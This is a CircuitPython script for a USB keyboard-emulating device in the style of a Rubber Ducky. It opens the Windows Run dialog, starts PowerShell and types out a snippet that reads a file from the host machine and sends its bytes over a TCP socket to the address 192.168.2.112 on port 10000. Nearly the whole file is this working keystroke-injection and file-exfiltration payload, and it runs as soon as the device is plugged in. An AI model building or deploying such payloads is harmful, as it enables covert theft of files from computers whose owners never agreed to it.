import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode
ip = "192.168.2.112"
filePath = "D:/AIGC/cat.png"
# Set up a keyboard device.
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(kbd)
powershell = f"""
Add-Type -AssemblyName System.Net

$ip = "{ip}"
$port = 10000
$filePath = "{filePath}"
 
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($ip, $port)
 
$stream = $client.GetStream()
$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$stream.Write($fileBytes, 0, $fileBytes.Length)
 
$stream.Close()
$client.Close()
"""
duckyKeys2 = {
    "-":Keycode.MINUS,
    ".":Keycode.PERIOD,
    "$":[Keycode.SHIFT,Keycode.FOUR],
    "=":Keycode.EQUALS,
    "\"":[Keycode.SHIFT,Keycode.QUOTE],
    ":":[Keycode.SHIFT,Keycode.SEMICOLON],
    "/":Keycode.FORWARD_SLASH,
    "(":[Keycode.SHIFT,Keycode.NINE],
    ")":[Keycode.SHIFT,Keycode.ZERO],
    "[":Keycode.LEFT_BRACKET,
    "]":Keycode.RIGHT_BRACKET,
    ",":Keycode.COMMA,
    " ":Keycode.SPACE,
    "\n":Keycode.ENTER,
    "0":Keycode.ZERO,
    "1":Keycode.ONE,
    "2":Keycode.TWO,
    "3":Keycode.THREE,
    "4":Keycode.FOUR,
    "5":Keycode.FIVE,
    "6":Keycode.SIX,
    "7":Keycode.SEVEN,
    "8":Keycode.EIGHT,
    "9":Keycode.NINE
    
}

duckyKeys1 = {

    "WINDOWS": Keycode.GUI,
    "RWINDOWS": Keycode.RIGHT_GUI,
    "GUI": Keycode.GUI,
    "RGUI": Keycode.RIGHT_GUI,
    "COMMAND": Keycode.GUI,
    "RCOMMAND": Keycode.RIGHT_GUI,
    "APP": Keycode.APPLICATION,
    "MENU": Keycode.APPLICATION,
    "SHIFT": Keycode.SHIFT,
    "RSHIFT": Keycode.RIGHT_SHIFT,
    "ALT": Keycode.ALT,
    "RALT": Keycode.RIGHT_ALT,
    "OPTION": Keycode.ALT,
    "ROPTION": Keycode.RIGHT_ALT,
    "CONTROL": Keycode.CONTROL,
    "CTRL": Keycode.CONTROL,
    "RCTRL": Keycode.RIGHT_CONTROL,
    "DOWNARROW": Keycode.DOWN_ARROW,
    "DOWN": Keycode.DOWN_ARROW,
    "LEFTARROW": Keycode.LEFT_ARROW,
    "LEFT": Keycode.LEFT_ARROW,
    "RIGHTARROW": Keycode.RIGHT_ARROW,
    "RIGHT": Keycode.RIGHT_ARROW,
    "UPARROW": Keycode.UP_ARROW,
    "UP": Keycode.UP_ARROW,
    "BREAK": Keycode.PAUSE,
    "PAUSE": Keycode.PAUSE,
    "CAPSLOCK": Keycode.CAPS_LOCK,
    "DELETE": Keycode.DELETE,
    "END": Keycode.END,
    "ESC": Keycode.ESCAPE,
    "ESCAPE": Keycode.ESCAPE,
    "HOME": Keycode.HOME,
    "INSERT": Keycode.INSERT,
    "NUMLOCK": Keycode.KEYPAD_NUMLOCK,
    "PAGEUP": Keycode.PAGE_UP,
    "PAGEDOWN": Keycode.PAGE_DOWN,
    "PRINTSCREEN": Keycode.PRINT_SCREEN,
    "ENTER": Keycode.ENTER,
    "SCROLLLOCK": Keycode.SCROLL_LOCK,
    "SPACE": Keycode.SPACE,
    "TAB": Keycode.TAB,
    "BACKSPACE": Keycode.BACKSPACE,
    "a": Keycode.A,
    "b": Keycode.B,
    "c": Keycode.C,
    "d": Keycode.D,
    "e": Keycode.E,
    "f": Keycode.F,
    "g": Keycode.G,
    "h": Keycode.H,
    "i": Keycode.I,
    "j": Keycode.J,
    "k": Keycode.K,
    "l": Keycode.L,
    "m": Keycode.M,
    "n": Keycode.N,
    "o": Keycode.O,
    "p": Keycode.P,
    "q": Keycode.Q,
    "r": Keycode.R,
    "s": Keycode.S,
    "t": Keycode.T,
    "u": Keycode.U,
    "v": Keycode.V,
    "w": Keycode.W,
    "x": Keycode.X,
    "y": Keycode.Y,
    "z": Keycode.Z,
    "A":[Keycode.SHIFT,Keycode.A],
    "B":[Keycode.SHIFT,Keycode.B],
    "C":[Keycode.SHIFT,Keycode.C],
    "D":[Keycode.SHIFT,Keycode.D],
    "E":[Keycode.SHIFT,Keycode.E],
    "F":[Keycode.SHIFT,Keycode.F],
    "G":[Keycode.SHIFT,Keycode.G],
    "H":[Keycode.SHIFT,Keycode.H],
    "I":[Keycode.SHIFT,Keycode.I],
    "J":[Keycode.SHIFT,Keycode.J],
    "K":[Keycode.SHIFT,Keycode.K],
    "L":[Keycode.SHIFT,Keycode.L],
    "M":[Keycode.SHIFT,Keycode.M],
    "N":[Keycode.SHIFT,Keycode.N],
    "O":[Keycode.SHIFT,Keycode.O],
    "P":[Keycode.SHIFT,Keycode.P],
    "Q":[Keycode.SHIFT,Keycode.Q],
    "R":[Keycode.SHIFT,Keycode.R],
    "S":[Keycode.SHIFT,Keycode.S],
    "T":[Keycode.SHIFT,Keycode.T],
    "U":[Keycode.SHIFT,Keycode.U],
    "V":[Keycode.SHIFT,Keycode.V],
    "W":[Keycode.SHIFT,Keycode.W],
    "X":[Keycode.SHIFT,Keycode.X],
    "Y":[Keycode.SHIFT,Keycode.Y],
    "Z":[Keycode.SHIFT,Keycode.Z],
    "F1": Keycode.F1,
    "F2": Keycode.F2,
    "F3": Keycode.F3,
    "F4": Keycode.F4,
    "F5": Keycode.F5,
    "F6": Keycode.F6,
    "F7": Keycode.F7,
    "F8": Keycode.F8,
    "F9": Keycode.F9,
    "F10": Keycode.F10,
    "F11": Keycode.F11,
    "F12": Keycode.F12,
    "F13": Keycode.F13,
    "F14": Keycode.F14,
    "F15": Keycode.F15,
    "F16": Keycode.F16,
    "F17": Keycode.F17,
    "F18": Keycode.F18,
    "F19": Keycode.F19,
    "F20": Keycode.F20,
    "F21": Keycode.F21,
    "F22": Keycode.F22,
    "F23": Keycode.F23,
    "F24": Keycode.F24,
}

duckyKeys1.update(duckyKeys2)
cmdlist = []
for c in powershell:
    if isinstance(duckyKeys1[c],int): 
        cmdlist.append([duckyKeys1[c]])
    else: 
        cmdlist.append(duckyKeys1[c])


start_powershell = ["p_WINDOWS","p_r","r_r","r_WINDOWS",
                        "p_p","r_p",
                        "p_o","r_o",
                        "p_w","r_w",
                        "p_e","r_e",
                        "p_r","r_r",
                        "p_s","r_s",
                        "p_h","r_h",
                        "p_e","r_e",
                        "p_l","r_l",
                        "p_l","r_l",
                        "p_ENTER","r_ENTER"]
try:
    for cmd in start_powershell:
        do, what = cmd.split("_")
        print(do,what)
        if do == "p":
            kbd.press(duckyKeys1[what])
            print(f"press {what}")
            time.sleep(0.05)
        if do == "r":
            kbd.release(duckyKeys1[what])
            print(f"release {what}")
            time.sleep(0.05)
except Exception as e:
    print("from execute payload start powershell",e)
try:

    # wait for powershell start up
    time.sleep(1)

    for cmd in cmdlist:
        if len(cmd) == 1:
            kbd.press(cmd[0])
            time.sleep(0.01)
            kbd.release(cmd[0])
            time.sleep(0.01)
        if len(cmd) == 2:
            kbd.press(cmd[0])
            time.sleep(0.01)
            kbd.press(cmd[1])
            time.sleep(0.01)
            kbd.release(cmd[1])
            time.sleep(0.01)
            kbd.release(cmd[0])
            time.sleep(0.01)
        
            
except Exception as e:
    print("from execute payload exception",e)

print("execute payload over")



